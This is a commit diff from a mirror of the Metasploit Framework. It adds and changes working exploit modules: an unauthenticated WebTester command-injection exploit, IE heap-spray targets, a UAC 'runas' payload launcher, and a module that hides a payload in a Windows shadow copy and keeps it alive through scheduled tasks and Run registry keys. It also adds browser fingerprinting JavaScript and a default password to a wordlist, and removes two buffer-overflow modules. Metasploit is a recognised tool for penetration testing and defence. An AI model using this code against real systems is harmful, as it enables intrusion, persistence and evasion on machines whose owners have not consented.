1
mirror of https://github.com/rapid7/metasploit-framework synced 2024-10-29 18:07:27 +01:00

Merge from master to clear conflict

Conflicts:
	modules/exploits/windows/brightstor/tape_engine_8A.rb
	modules/exploits/windows/fileformat/a-pdf_wav_to_mp3.rb
This commit is contained in:
Tod Beardsley 2013-10-17 13:29:24 -05:00
commit 07ab53ab39
No known key found for this signature in database
GPG Key ID: 1EFFB682ADB9F193
13 changed files with 474 additions and 214 deletions

View File

@ -92,6 +92,7 @@ root
router
rw
rwa
s!a@m#n$p%c
san-fran
sanfran
scotty

View File

@ -4,6 +4,7 @@ require 'rex/exploitation/obfuscatejs'
require 'rex/exploitation/encryptjs'
require 'rex/exploitation/heaplib'
require 'rex/exploitation/javascriptosdetect'
require 'rex/exploitation/javascriptaddonsdetect'
module Msf

View File

@ -0,0 +1,51 @@
window.addons_detect = { };
/**
* Returns the version of Microsoft Office. If not found, returns null.
**/
window.addons_detect.getMsOfficeVersion = function () {
var version;
var types = new Array();
for (var i=1; i <= 5; i++) {
try {
types[i-1] = typeof(new ActiveXObject("SharePoint.OpenDocuments." + i.toString()));
}
catch (e) {
types[i-1] = null;
}
}
if (types[0] == 'object' && types[1] == 'object' && types[2] == 'object' &&
types[3] == 'object' && types[4] == 'object')
{
version = "2012";
}
else if (types[0] == 'object' && types[1] == 'object' && types[2] == 'object' &&
types[3] == 'object' && types[4] == null)
{
version = "2010";
}
else if (types[0] == 'object' && types[1] == 'object' && types[2] == 'object' &&
types[3] == null && types[4] == null)
{
version = "2007";
}
else if (types[0] == 'object' && types[1] == 'object' && types[2] == null &&
types[3] == null && types[4] == null)
{
version = "2003";
}
else if (types[0] == 'object' && types[1] == null && types[2] == null &&
types[3] == null && types[4] == null)
{
// If run for the first time, you must manullay allow the "Microsoft Office XP"
// add-on to run. However, this prompt won't show because the ActiveXObject statement
// is wrapped in an exception handler.
version = "xp";
}
else {
version = null;
}
return version;
}

View File

@ -0,0 +1,29 @@
# -*- coding: binary -*-
require 'msf/core'
require 'rex/text'
require 'rex/exploitation/jsobfu'
module Rex
module Exploitation
#
# Provides javascript functions to determine addon information.
#
# getMsOfficeVersion(): Returns the version for Microsoft Office
#
class JavascriptAddonsDetect < JSObfu
def initialize(custom_js = '', opts = {})
@js = custom_js
@js += ::File.read(::File.join(::File.dirname(__FILE__), "javascriptaddonsdetect.js"))
super @js
return @js
end
end
end
end

View File

@ -52,6 +52,13 @@ window.os_detect.getVersion = function(){
return d.style[propCamelCase] === css;
}
var input_type_is_valid = function(input_type) {
if (!document.createElement) return false;
var input = document.createElement('input');
input.setAttribute('type', input_type);
return input.type == input_type;
}
//--
// Client
//--
@ -203,7 +210,13 @@ window.os_detect.getVersion = function(){
// Thanks to developer.mozilla.org "Firefox for developers" series for most
// of these.
// Release changelogs: http://www.mozilla.org/en-US/firefox/releases/
if ('HTMLTimeElement' in window) {
if ('DeviceStorage' in window && window.DeviceStorage &&
'default' in window.DeviceStorage.prototype) {
// https://bugzilla.mozilla.org/show_bug.cgi?id=874213
ua_version = '24.0'
} else if (input_type_is_valid('range')) {
ua_version = '23.0'
} else if ('HTMLTimeElement' in window) {
ua_version = '22.0'
} else if ('createElement' in document &&
document.createElement('main') &&

View File

@ -26,7 +26,8 @@ class Metasploit3 < Msf::Auxiliary
'License' => MSF_LICENSE,
'References' =>
[
[ 'URL', 'http://www.net-security.org/secworld.php?id=15743' ],
[ 'URL', 'http://blog.imperva.com/2013/10/threat-advisory-a-vbulletin-exploit-administrator-injection.html'],
[ 'OSVDB', '98370' ],
[ 'URL', 'http://www.vbulletin.com/forum/forum/vbulletin-announcements/vbulletin-announcements_aa/3991423-potential-vbulletin-exploit-vbulletin-4-1-vbulletin-5']
],
'DisclosureDate' => 'Oct 09 2013'))

View File

@ -0,0 +1,108 @@
##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/framework/
##
require 'msf/core'
class Metasploit3 < Msf::Exploit::Remote
Rank = ExcellentRanking
include Msf::Exploit::Remote::HttpClient
def initialize(info={})
super(update_info(info,
'Name' => "WebTester 5.x Command Execution",
'Description' => %q{
This module exploits a command execution vulnerability in WebTester
version 5.x. The 'install2.php' file allows unauthenticated users to
execute arbitrary commands in the 'cpusername', 'cppassword' and
'cpdomain' parameters.
},
'License' => MSF_LICENSE,
'Author' =>
[
'Brendan Coles <bcoles[at]gmail.com>' # Metasploit
],
'References' =>
[
['URL' => 'https://sourceforge.net/p/webtesteronline/bugs/3/']
],
'Payload' =>
{
'Space' => 8190, # Just a big value, injection on POST variable
'DisableNops' => true,
'BadChars' => "\x00"
},
'Arch' => ARCH_CMD,
'Platform' => 'unix',
'Targets' =>
[
# Tested on WebTester v5.1.20101016
[ 'WebTester version 5.x', { 'auto' => true } ]
],
'Privileged' => false,
'DisclosureDate' => 'Oct 17 2013',
'DefaultTarget' => 0))
register_options(
[
OptString.new('TARGETURI', [true, 'The base path to WebTester', '/webtester5/'])
], self.class)
end
#
# Checks if target is running WebTester version 5.x
#
def check
res = send_request_raw({ 'uri' => normalize_uri(target_uri.path) })
if not res
print_error("#{peer} - Connection timed out")
return Exploit::CheckCode::Unknown
end
if res.body =~ /Eppler Software/
if res.body =~ / - v5\.1\.20101016/
print_status("#{peer} - Found version: 5.1.20101016")
return Exploit::CheckCode::Vulnerable
elsif res.body =~ / - v(5\.[\d\.]+)/
print_status("#{peer} - Found version: #{$1}")
return Exploit::CheckCode::Appears
else
return Exploit::CheckCode::Detected
end
else
return Exploit::CheckCode::Safe
end
end
def exploit
vuln_params = [
'cpusername',
'cppassword',
'cpdomain'
]
print_status("#{peer} - Sending payload (#{payload.encoded.length} bytes)...")
res = send_request_cgi({
'method' => 'POST',
'uri' => normalize_uri(target_uri.path, 'install2.php'),
'vars_post' => {
'createdb' => 'yes',
'cpanel' => 'yes',
"#{vuln_params.sample}" => "';#{payload.encoded} #"
}
})
if not res
fail_with(Failure::Unknown, "#{peer} - Request timed out")
elsif res.code == 200 and res.body =~ /Failed to connect to database server/
print_good("#{peer} - Payload sent successfully")
else
fail_with(Failure::Unknown, "#{peer} - Something went wrong")
end
end
end

View File

@ -1,92 +0,0 @@
##
# This module requires Metasploit: http//metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
require 'msf/core'
class Metasploit3 < Msf::Exploit::Remote
Rank = AverageRanking
include Msf::Exploit::Remote::DCERPC
include Msf::Module::Deprecated
deprecated Date.new(2013, 10, 2), "exploit/windows/brightstor/tape_engine_0x8a"
def initialize(info = {})
super(update_info(info,
'Name' => 'CA BrightStor ARCserve Tape Engine 0x8A Buffer Overflow',
'Description' => %q{
This module exploits a stack buffer overflow in Computer Associates BrightStor ARCserve Backup
r11.1 - r11.5. By sending a specially crafted DCERPC request, an attacker could overflow
the buffer and execute arbitrary code.
},
'Author' => [ 'MC' ],
'License' => MSF_LICENSE,
'References' =>
[
[ 'OSVDB', '68330'],
[ 'URL', 'http://www.metasploit.com/users/mc' ],
],
'Privileged' => true,
'DefaultOptions' =>
{
'EXITFUNC' => 'thread',
},
'Payload' =>
{
'Space' => 500,
'BadChars' => "\x00\x0a\x0d\x5c\x5f\x2f\x2e",
'StackAdjustment' => -3500,
},
'Platform' => 'win',
'Targets' =>
[
[ 'BrightStor ARCserve r11.5/Windows 2003', { 'Ret' => 0x28eb6493 } ],
],
'DisclosureDate' => 'Oct 4 2010',
'DefaultTarget' => 0))
register_options([ Opt::RPORT(6502) ], self.class)
end
def exploit
connect
handle = dcerpc_handle('62b93df0-8b02-11ce-876c-00805f842837', '1.0', 'ncacn_ip_tcp', [datastore['RPORT']])
print_status("Binding to #{handle} ...")
dcerpc_bind(handle)
print_status("Bound to #{handle} ...")
request = "\x00\x04\x08\x0c\x05\x00\x00\x00\x00\x00"
request << "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
dcerpc.call(0x2B, request)
sploit = NDR.long(4)
sploit << NDR.string(rand_text_alpha_upper(1002) + [target.ret].pack('V') + payload.encoded + "\x00")
print_status("Trying target #{target.name}...")
begin
dcerpc_call(0x8A, sploit)
rescue Rex::Proto::DCERPC::Exceptions::NoResponse
end
handler
disconnect
end
end
=begin
/* opcode: 0x8A, address: 0x100707D0 */
long sub_100707D0 (
[in] handle_t arg_1,
[in] long arg_2,
[in][ref][string] char * arg_3
);
=end

View File

@ -64,8 +64,9 @@ class Metasploit3 < Msf::Exploit::Remote
'Targets' =>
[
[ 'Automatic', {} ],
[ 'IE 7 on Windows XP SP3', {} ],
[ 'IE 8 on Windows XP SP3', {} ],
[ 'IE 8 on Windows 7', {} ]
[ 'IE 8 on Windows 7', {} ],
],
'Payload' =>
{
@ -74,6 +75,7 @@ class Metasploit3 < Msf::Exploit::Remote
},
'DefaultOptions' =>
{
#'PrependMigrate' => true,
'InitialAutoRunScript' => 'migrate -f'
},
'Privileged' => false,
@ -86,6 +88,7 @@ class Metasploit3 < Msf::Exploit::Remote
def get_check_html
%Q|<html>
<script>
#{js_base64}
#{js_os_detect}
function os() {
@ -117,7 +120,7 @@ function dll() {
}
window.onload = function() {
window.location = "#{get_resource}/search?o=" + escape(os()) + "&d=" + dll();
window.location = "#{get_uri.chomp("/")}/search?o=" + escape(Base64.encode(os())) + "&d=" + dll();
}
</script>
</html>
@ -200,11 +203,16 @@ window.onload = function() {
rop_payload
end
#
# IE 6's call is at 6
# IE 8's call is at 7
# Don't think this one triggers on IE9
#
def get_sploit_html(target_info)
os = target_info[:os]
js_payload = ''
if os =~ /Windows (7|XP) MSIE 8\.0/
if os =~ /Windows (7|XP) MSIE [78]\.0/
js_payload = Rex::Text.to_unescape(get_payload(target_info))
else
print_error("Target not supported by this attack.")
@ -220,8 +228,9 @@ sprayHeap({shellcode:unescape("#{js_payload}")});
var earth = document;
var data = "";
for (i=0; i<17; i++) {
if (i==7) { data += unescape("%u2020%u2030"); }
else { data += "\\u4141\\u4141"; }
if (i==6) { data += unescape("%u2020%u2030"); }
else if (i==7) { data += unescape("%u2020%u2030"); }
else { data += unescape("%u4141%u4141"); }
}
data += "\\u4141";
@ -278,7 +287,12 @@ function kaiju() {
def on_request_uri(cli, request)
if request.uri =~ /search\?o=(.+)\&d=(.+)$/
target_info = { :os => Rex::Text.uri_decode($1), :dll => Rex::Text.uri_decode($2) }
target_info =
{
:os => Rex::Text.decode_base64(Rex::Text.uri_decode($1)),
:dll => Rex::Text.uri_decode($2)
}
sploit = get_sploit_html(target_info)
send_response(cli, sploit, {'Content-Type'=>'text/html', 'Cache-Control'=>'no-cache'})
return

View File

@ -1,75 +0,0 @@
##
# This module requires Metasploit: http//metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
require 'msf/core'
class Metasploit3 < Msf::Exploit::Remote
Rank = NormalRanking
include Msf::Exploit::FILEFORMAT
include Msf::Exploit::Remote::Seh
include Msf::Module::Deprecated
deprecated Date.new(2013, 10, 2), "exploit/windows/fileformat/a_pdf_wav_to_mp3"
def initialize(info = {})
super(update_info(info,
'Name' => 'A-PDF WAV to MP3 v1.0.0 Buffer Overflow',
'Description' => %q{
This module exploits a buffer overflow in A-PDF WAV to MP3 v1.0.0. When
the application is used to import a specially crafted m3u file, a buffer overflow occurs
allowing arbitrary code execution.
},
'License' => MSF_LICENSE,
'Author' =>
[
'd4rk-h4ck3r', # Original Exploit
'Dr_IDE', # SEH Exploit
'dookie' # MSF Module
],
'References' =>
[
[ 'OSVDB', '67241' ],
[ 'EDB', '14676' ],
[ 'EDB', '14681' ]
],
'DefaultOptions' =>
{
'EXITFUNC' => 'seh',
'DisablePayloadHandler' => 'true',
},
'Payload' =>
{
'Space' => 600,
'BadChars' => "\x00\x0a",
'StackAdjustment' => -3500
},
'Platform' => 'win',
'Targets' =>
[
[ 'Windows Universal', { 'Ret' => 0x0047265c, 'Offset' => 4132 } ], # p/p/r in wavtomp3.exe
],
'Privileged' => false,
'DisclosureDate' => 'Aug 17 2010',
'DefaultTarget' => 0))
register_options(
[
OptString.new('FILENAME', [ false, 'The file name.', 'msf.wav']),
], self.class)
end
def exploit
sploit = rand_text_alpha_upper(target['Offset'])
sploit << generate_seh_payload(target.ret)
print_status("Creating '#{datastore['FILENAME']}' file ...")
file_create(sploit)
end
end

View File

@ -38,6 +38,19 @@ class Metasploit3 < Msf::Exploit::Local
end
def runas_method
payload = generate_payload_exe
payload_filename = Rex::Text.rand_text_alpha((rand(8)+6)) + ".exe"
tmpdir = session.fs.file.expand_path("%TEMP%")
tempexe = tmpdir + "\\" + payload_filename
fd = session.fs.file.new(tempexe, "wb")
fd.write(payload)
fd.close
print_status("Uploading payload: #{tmpdir}\\#{payload_filename}")
session.railgun.shell32.ShellExecuteA(nil,"runas","#{tmpdir}\\#{payload_filename}",nil,nil,5)
print_status("Payload executed")
end
def exploit
isadmin = session.railgun.shell32.IsUserAnAdmin()
@ -79,7 +92,9 @@ class Metasploit3 < Msf::Exploit::Local
print_good "UAC is set to Default"
print_good "BypassUAC can bypass this setting, continuing..."
when 0
print_warning "Could not determine UAC level - attempting anyways..."
print_warning "UAC set to DoNotPrompt - using ShellExecute 'runas' method instead"
runas_method
return
end
# Check if you are an admin
@ -130,7 +145,7 @@ class Metasploit3 < Msf::Exploit::Local
end
tmpdir = session.fs.file.expand_path("%TEMP%")
cmd = "#{tmpdir}\\#{bypass_uac_filename} /c %TEMP%\\#{payload_filename}"
cmd = "#{tmpdir}\\#{bypass_uac_filename} /c #{tmpdir}\\#{payload_filename}"
print_status("Uploading the bypass UAC executable to the filesystem...")
@ -138,7 +153,7 @@ class Metasploit3 < Msf::Exploit::Local
#
# Upload UAC bypass to the filesystem
#
session.fs.file.upload_file("%TEMP%\\#{bypass_uac_filename}", bpexe)
session.fs.file.upload_file("#{tmpdir}\\#{bypass_uac_filename}", bpexe)
print_status("Meterpreter stager executable #{payload.length} bytes long being uploaded..")
#
# Upload the payload to the filesystem

View File

@ -0,0 +1,201 @@
##
# ## This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# web site for more information on licensing and terms of use.
# http://metasploit.com/
##
require 'msf/core'
require 'rex'
require 'msf/core/exploit/exe'
class Metasploit3 < Msf::Exploit::Local
Rank = ExcellentRanking
include Msf::Post::File
include Msf::Post::Windows::Priv
include Msf::Post::Windows::ShadowCopy
include Msf::Post::Windows::Services
include Msf::Post::Windows::Registry
include Msf::Exploit::EXE
def initialize(info={})
super(update_info(info,
'Name' => "Persistent Payload in Windows Volume Shadow Copy",
'Description' => %q{
This module will attempt to create a persistent payload in a new volume shadow copy. This is
based on the VSSOwn Script originally posted by Tim Tomes and Mark Baggett. This module has
been tested successfully on Windows 7. In order to achieve persistence through the RUNKEY
option, the user should need password in order to start session on the target machine.
},
'Author' => ['Jedediah Rodriguez <Jedi.rodriguez[at]gmail.com>'], # @MrXors
'License' => MSF_LICENSE,
'Platform' => ['win'],
'SessionTypes' => ['meterpreter'],
'Targets' => [ [ 'Windows 7', {} ] ],
'DefaultTarget' => 0,
'References' => [
[ 'URL', 'http://pauldotcom.com/2011/11/safely-dumping-hashes-from-liv.html' ],
[ 'URL', 'http://www.irongeek.com/i.php?page=videos/hack3rcon2/tim-tomes-and-mark-baggett-lurking-in-the-shadows']
],
'DisclosureDate'=> "Oct 21 2011"
))
register_options(
[
OptString.new('VOLUME', [ true, 'Volume to make a copy of.', 'C:\\']),
OptBool.new('EXECUTE', [ true, 'Run the EXE on the remote system.', true]),
OptBool.new('SCHTASK', [ true, 'Create a Scheduled Task for the EXE.', false]),
OptBool.new('RUNKEY', [ true, 'Create AutoRun Key for the EXE', false]),
OptInt.new('DELAY', [ true, 'Delay in Minutes for Reconnect attempt. Needs SCHTASK set to true to work. Default delay is 1 minute.', 1]),
OptString.new('RPATH', [ false, 'Path on remote system to place Executable. Example: \\\\Windows\\\\Temp (DO NOT USE C:\\ in your RPATH!)', ]),
], self.class)
end
def exploit
@clean_up = ""
print_status("Checking requirements...")
os = sysinfo['OS']
unless os =~ /Windows 7/
print_error("This module has been tested only on Windows 7")
return
end
unless is_admin?
print_error("This module requires admin privs to run")
return
end
if is_uac_enabled?
print_error("This module requires UAC to be bypassed first")
return
end
print_status("Starting Volume Shadow Service...")
unless start_vss
print_error("Unable to start the Volume Shadow Service")
return
end
print_status("Uploading payload...")
remote_file = upload(datastore['RPATH'])
print_status("Creating Shadow Volume Copy...")
unless volume_shadow_copy
fail_with(Failure::Unknown, "Failed to create a new shadow copy")
end
print_status("Finding the Shadow Copy Volume...")
volume_data_id = []
cmd = "cmd.exe /c vssadmin List Shadows| find \"Shadow Copy Volume\""
output = cmd_exec(cmd)
output.each_line do |line|
cmd_regex = /HarddiskVolumeShadowCopy\d{1,9}/.match("#{line}")
volume_data_id = "#{cmd_regex}"
end
print_status("Deleting malware...")
file_rm(remote_file)
if datastore["EXECUTE"]
print_status("Executing #{remote_file}...")
execute(volume_data_id, remote_file)
end
if datastore["SCHTASK"]
print_status("Creating Scheduled Task...")
schtasks(volume_data_id, remote_file)
end
if datastore["RUNKEY"]
print_status("Installing as autorun in the registry...")
install_registry(volume_data_id, remote_file)
end
unless @clean_up.empty?
log_file
end
end
def upload(trg_loc="")
if trg_loc.nil? or trg_loc.empty?
location = "\\Windows\\Temp"
else
location = trg_loc
end
file_name = "svhost#{rand(100)}.exe"
file_on_target = "#{location}\\#{file_name}"
exe = generate_payload_exe
begin
write_file("#{file_on_target}", exe)
rescue ::Rex::Post::Meterpreter::RequestError => e
fail_with(Failure::NotFound, e.message)
end
return file_on_target
end
def volume_shadow_copy
begin
id = create_shadowcopy(datastore['VOLUME'])
rescue ::Rex::Post::Meterpreter::RequestError => e
fail_with(Failure::NotFound, e.message)
end
if id
return true
else
return false
end
end
def execute(volume_id, exe_path)
run_cmd = "cmd.exe /c %SYSTEMROOT%\\system32\\wbem\\wmic.exe process call create \\\\?\\GLOBALROOT\\Device\\#{volume_id}\\#{exe_path}"
cmd_exec(run_cmd)
end
def schtasks(volume_id, exe_path)
sch_name = Rex::Text.rand_text_alpha(rand(8)+8)
global_root = "\"\\\\?\\GLOBALROOT\\Device\\#{volume_id}\\#{exe_path}\""
sch_cmd = "cmd.exe /c %SYSTEMROOT%\\system32\\schtasks.exe /create /sc minute /mo #{datastore["DELAY"]} /tn \"#{sch_name}\" /tr #{global_root}"
cmd_exec(sch_cmd)
@clean_up << "execute -H -f cmd.exe -a \"/c schtasks.exe /delete /tn #{sch_name} /f\"\n"
end
def install_registry(volume_id, exe_path)
global_root = "cmd.exe /c %SYSTEMROOT%\\system32\\wbem\\wmic.exe process call create \\\\?\\GLOBALROOT\\Device\\#{volume_id}\\#{exe_path}"
nam = Rex::Text.rand_text_alpha(rand(8)+8)
hklm_key = "HKLM\\Software\\Microsoft\\Windows\\CurrentVersion\\Run"
print_status("Installing into autorun as #{hklm_key}\\#{nam}")
res = registry_setvaldata("#{hklm_key}", nam, "#{global_root}", "REG_SZ")
if res
print_good("Installed into autorun as #{hklm_key}\\#{nam}")
@clean_up << "reg deleteval -k HKLM\\\\Software\\\\Microsoft\\\\Windows\\\\CurrentVersion\\\\Run -v #{nam}\n"
else
print_error("Error: failed to open the registry key for writing")
end
end
def clean_data
host = session.sys.config.sysinfo["Computer"]
filenameinfo = "_" + ::Time.now.strftime("%Y%m%d.%M%S")
logs = ::File.join(Msf::Config.log_directory, 'persistence', Rex::FileUtils.clean_path(host + filenameinfo) )
::FileUtils.mkdir_p(logs)
logfile = logs + ::File::Separator + Rex::FileUtils.clean_path(host + filenameinfo) + ".rc"
return logfile
end
def log_file
clean_rc = clean_data()
file_local_write(clean_rc, @clean_up)
print_status("Cleanup Meterpreter RC File: #{clean_rc}")
end
end

View File

@ -1,10 +1,13 @@
#!/usr/bin/env ruby
# -*- coding: binary -*-
#
# Check (recursively) for style compliance violations and other
# tree inconsistencies.
#
# by jduck and friends
#
require 'fileutils'
require 'find'
CHECK_OLD_RUBIES = !!ENV['MSF_CHECK_OLD_RUBIES']
@ -22,6 +25,10 @@ class String
"\e[1;33;40m#{self}\e[0m"
end
def green
"\e[1;32;40m#{self}\e[0m"
end
def ascii_only?
self =~ Regexp.new('[\x00-\x08\x0b\x0c\x0e-\x19\x7f-\xff]', nil, 'n') ? false : true
end
@ -31,9 +38,12 @@ class Msftidy
LONG_LINE_LENGTH = 200 # From 100 to 200 which is stupidly long
attr_reader :full_filepath, :source, :name
def initialize(source_file)
@full_filepath = source_file
@source = load_file(source_file)
@name = source_file
@name = File.basename(source_file)
end
public
@ -56,6 +66,11 @@ class Msftidy
puts "#{@name}#{line_msg} - [#{'ERROR'.red}] #{txt}"
end
def fixed(txt, line=0)
line_msg = (line>0) ? ":#{line.to_s}" : ''
puts "#{@name}#{line_msg} - [#{'FIXED'.green}] #{txt}"
end
##
#
@ -240,12 +255,12 @@ class Msftidy
end
end
def test_old_rubies(f_rel)
def test_old_rubies
return true unless CHECK_OLD_RUBIES
return true unless Object.const_defined? :RVM
puts "Checking syntax for #{f_rel}."
puts "Checking syntax for #{@name}."
rubies ||= RVM.list_strings
res = %x{rvm all do ruby -c #{f_rel}}.split("\n").select {|msg| msg =~ /Syntax OK/}
res = %x{rvm all do ruby -c #{@full_filepath}}.split("\n").select {|msg| msg =~ /Syntax OK/}
error("Fails alternate Ruby version check") if rubies.size != res.size
end
@ -417,14 +432,14 @@ class Msftidy
end
end
def run_checks(f_rel)
tidy = Msftidy.new(f_rel)
def run_checks(full_filepath)
tidy = Msftidy.new(full_filepath)
tidy.check_ref_identifiers
tidy.check_old_keywords
tidy.check_verbose_option
tidy.check_badchars
tidy.check_extname
tidy.test_old_rubies(f_rel)
tidy.test_old_rubies
tidy.check_ranking
tidy.check_disclosure_date
tidy.check_title_casing
@ -448,33 +463,11 @@ if dirs.length < 1
exit(1)
end
dirs.each { |dir|
f = nil
old_dir = nil
if dir
if File.file?(dir)
# whoa, a single file!
f = File.basename(dir)
dir = File.dirname(dir)
end
old_dir = Dir.getwd
Dir.chdir(dir)
dparts = dir.split('/')
else
dparts = []
dirs.each do |dir|
Find.find(dir) do |full_filepath|
next if full_filepath =~ /\.git[\x5c\x2f]/
next unless File.file? full_filepath
next unless full_filepath =~ /\.rb$/
run_checks(full_filepath)
end
# Only one file?
if f
run_checks(f)
else
# Do a recursive check of the specified directory
Dir.glob('**/*.rb') { |f|
run_checks(f)
}
end
Dir.chdir(old_dir)
}
end